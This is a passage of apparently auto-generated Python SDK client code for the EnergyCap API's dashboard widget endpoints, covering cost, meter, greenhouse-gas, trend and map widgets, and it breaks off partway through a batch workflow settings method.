:return: ActionableBillCounts or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ActionableBillCounts or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_actionable_bill_counts.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ActionableBillCounts', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_actionable_bill_counts.metadata = {'url': '/api/v3/widget/actionablebillcounts/{specificWidgetId}'}
def get_most_expensive_buildings(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves the most expensive building data for a specific widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceCost] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_most_expensive_buildings.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceCost]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_most_expensive_buildings.metadata = {'url': '/api/v3/widget/mostexpensivebuildings/{specificWidgetId}'}
def get_carbon_footprint(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves the carbon footprint data for a specific widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestGHGYearlyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceDigestGHGYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_carbon_footprint.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestGHGYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_carbon_footprint.metadata = {'url': '/api/v3/widget/carbonfootprint/{specificWidgetId}'}
def get_most_expensive_meters(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves the most expensive meters data for a specific widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.MeterCost] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_most_expensive_meters.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[MeterCost]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_most_expensive_meters.metadata = {'url': '/api/v3/widget/mostexpensivemeters/{specificWidgetId}'}
def get_commodity_cost(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves data for commodity cost dashboard widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceDigestActualAndCalendarizedMonthlyResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.PlaceDigestActualAndCalendarizedMonthlyResponse
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_commodity_cost.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceDigestActualAndCalendarizedMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_commodity_cost.metadata = {'url': '/api/v3/widget/commoditycost/{specificWidgetId}'}
def execute_sproc_widget(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""
:param specific_widget_id:
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PeriodRangeComparisonDetailed or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.PeriodRangeComparisonDetailed or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_sproc_widget.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PeriodRangeComparisonDetailed', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_sproc_widget.metadata = {'url': '/api/v3/widget/exec/{specificWidgetId}'}
def get_monthly_use_trend(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets data for the Monthly Use Trend widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter: Filters to apply to the widget
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TimeSeriesDataResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TimeSeriesDataResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_monthly_use_trend.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TimeSeriesDataResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_monthly_use_trend.metadata = {'url': '/api/v202302/widget/monthlyusetrend/{specificWidgetId}'}
def get_monthly_cost_trend(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets data for the Monthly Cost Trend widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter: Filters to apply to the widget
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TimeSeriesDataResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TimeSeriesDataResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_monthly_cost_trend.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TimeSeriesDataResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_monthly_cost_trend.metadata = {'url': '/api/v202302/widget/monthlycosttrend/{specificWidgetId}'}
def get_item_rank(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets the bar rank and tree map widgets.
:param specific_widget_id: The specific widget id
:type specific_widget_id: int
:param filter: The widget filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AggregatedItemRankResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AggregatedItemRankResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_item_rank.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AggregatedItemRankResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_item_rank.metadata = {'url': '/api/v202302/widget/itemrank/{specificWidgetId}'}
def get_cost_avoidance_program_savings(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Returns Cost Avoidance Savings Program-to-date. The user can set the
topmost place and/or commodity filters.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WidgetSavingsYearlyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WidgetSavingsYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_avoidance_program_savings.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WidgetSavingsYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_cost_avoidance_program_savings.metadata = {'url': '/api/v202302/widget/programsavings/{specificWidgetId}'}
def cost_avoidance_by_commodity(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves data for cost avoidance by commodity dashboard widget.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WidgetSavingsYearlyResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WidgetSavingsYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.cost_avoidance_by_commodity.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WidgetSavingsYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
cost_avoidance_by_commodity.metadata = {'url': '/api/v202302/widget/costavoidancebycommodity/{specificWidgetId}'}
def monthly_cap_trend_method(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Returns data for the monthly savings trend widget.
:param specific_widget_id: Specific widget identifier
:type specific_widget_id: int
:param filter: Optional filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AggregatedMonthlyCAPTrendResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.AggregatedMonthlyCAPTrendResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.monthly_cap_trend_method.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AggregatedMonthlyCAPTrendResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
monthly_cap_trend_method.metadata = {'url': '/api/v202302/widget/monthlysavingstrend/{specificWidgetId}'}
def get_monthly_trend(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Returns data for the monthly trend widget.
:param specific_widget_id: Specific widget identifier
:type specific_widget_id: int
:param filter: Optional filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: TrendDataResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.TrendDataResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_monthly_trend.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('TrendDataResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_monthly_trend.metadata = {'url': '/api/v202302/widget/monthlytrend/{specificWidgetId}'}
def get_rolling_comparison(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves data for the Rolling Monthly Comparison Widget.
:param specific_widget_id: The specific widget id
:type specific_widget_id: int
:param filter: The widget filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: RollingComparisonResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.RollingComparisonResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_rolling_comparison.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('RollingComparisonResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_rolling_comparison.metadata = {'url': '/api/v202301/widget/rollingmonthlycomparison/{specificWidgetId}'}
def get_ghg_building_rank(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get building rank by GHG emissions or intensity.
:param specific_widget_id: The specific widget id
:type specific_widget_id: int
:param filter: The widget filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AggregatedResponseGHGBuildingRank or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.AggregatedResponseGHGBuildingRank or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_building_rank.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AggregatedResponseGHGBuildingRank', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_building_rank.metadata = {'url': '/api/v202212/widget/ghgbuildingrank/{specificWidgetId}'}
def get_ghg_scope_category_rank(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get scope category rank by GHG emissions.
:param specific_widget_id: The specific widget id
:type specific_widget_id: int
:param filter: The widget filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AggregatedResponseItemRankWithUnitResponse or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.AggregatedResponseItemRankWithUnitResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_scope_category_rank.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AggregatedResponseItemRankWithUnitResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_scope_category_rank.metadata = {'url': '/api/v202212/widget/ghgscopecategoryrank/{specificWidgetId}'}
def get_ghg_performance(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Gets the greenhouse gas performance by commodity, scope or scope
category.
:param specific_widget_id: The specific widget id
:type specific_widget_id: int
:param filter: The widget filters
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AggregatedComparisonResponseGHGPerformanceComparison or
ClientRawResponse if raw=true
:rtype:
~energycap.sdk.models.AggregatedComparisonResponseGHGPerformanceComparison
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_ghg_performance.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AggregatedComparisonResponseGHGPerformanceComparison', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_ghg_performance.metadata = {'url': '/api/v202212/widget/ghgperformance/{specificWidgetId}'}
def get_carbon_footprint_data(
self, specific_widget_id, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves yearly Carbon Emissions data that is split by year, then by
Gas Type and one of the following group types:
( Scope, Scope Category, Commodity ). Also includes target data, if
target comparisons are enabled and set.
:param specific_widget_id: Specific Widget identifier to get the data
for
:type specific_widget_id: int
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: GHGCarbonFootprintResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.GHGCarbonFootprintResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_carbon_footprint_data.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('GHGCarbonFootprintResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_carbon_footprint_data.metadata = {'url': '/api/v202211/widget/carbonfootprint/{specificWidgetId}'}
def get_map_widget(
self, specific_widget_id, chart_months_to_exclude=None, num_months=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves map data for a specific map widget
NOTE: Does not support global dashboard filtering with Topmost Place,
Place Group API filters.
:param specific_widget_id: Specific widget identifier to get the data
for
:type specific_widget_id: int
:param chart_months_to_exclude: Optional, the number of months to
exclude from intensity data, 0 includes all months including the
current one. Defaults to 0.
:type chart_months_to_exclude: int
:param num_months: Optional, the number of months of intensity data to
include, the end month is respective of chartMonthsToExclude. Defaults
to 12.
:type num_months: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MapWidgetResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MapWidgetResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_map_widget.metadata['url']
path_format_arguments = {
'specificWidgetId': self._serialize.url("specific_widget_id", specific_widget_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if chart_months_to_exclude is not None:
query_parameters['chartMonthsToExclude'] = self._serialize.query("chart_months_to_exclude", chart_months_to_exclude, 'int')
if num_months is not None:
query_parameters['numMonths'] = self._serialize.query("num_months", num_months, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MapWidgetResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_map_widget.metadata = {'url': '/api/v202209/widget/map/{specificWidgetId}'}
def get_batch_workflow(
self, custom_headers=None, raw=False, **operation_config):
"""Get batch workflow settings.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BatchWorkflowSettings or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BatchWorkflowSettings or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_batch_workflow.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
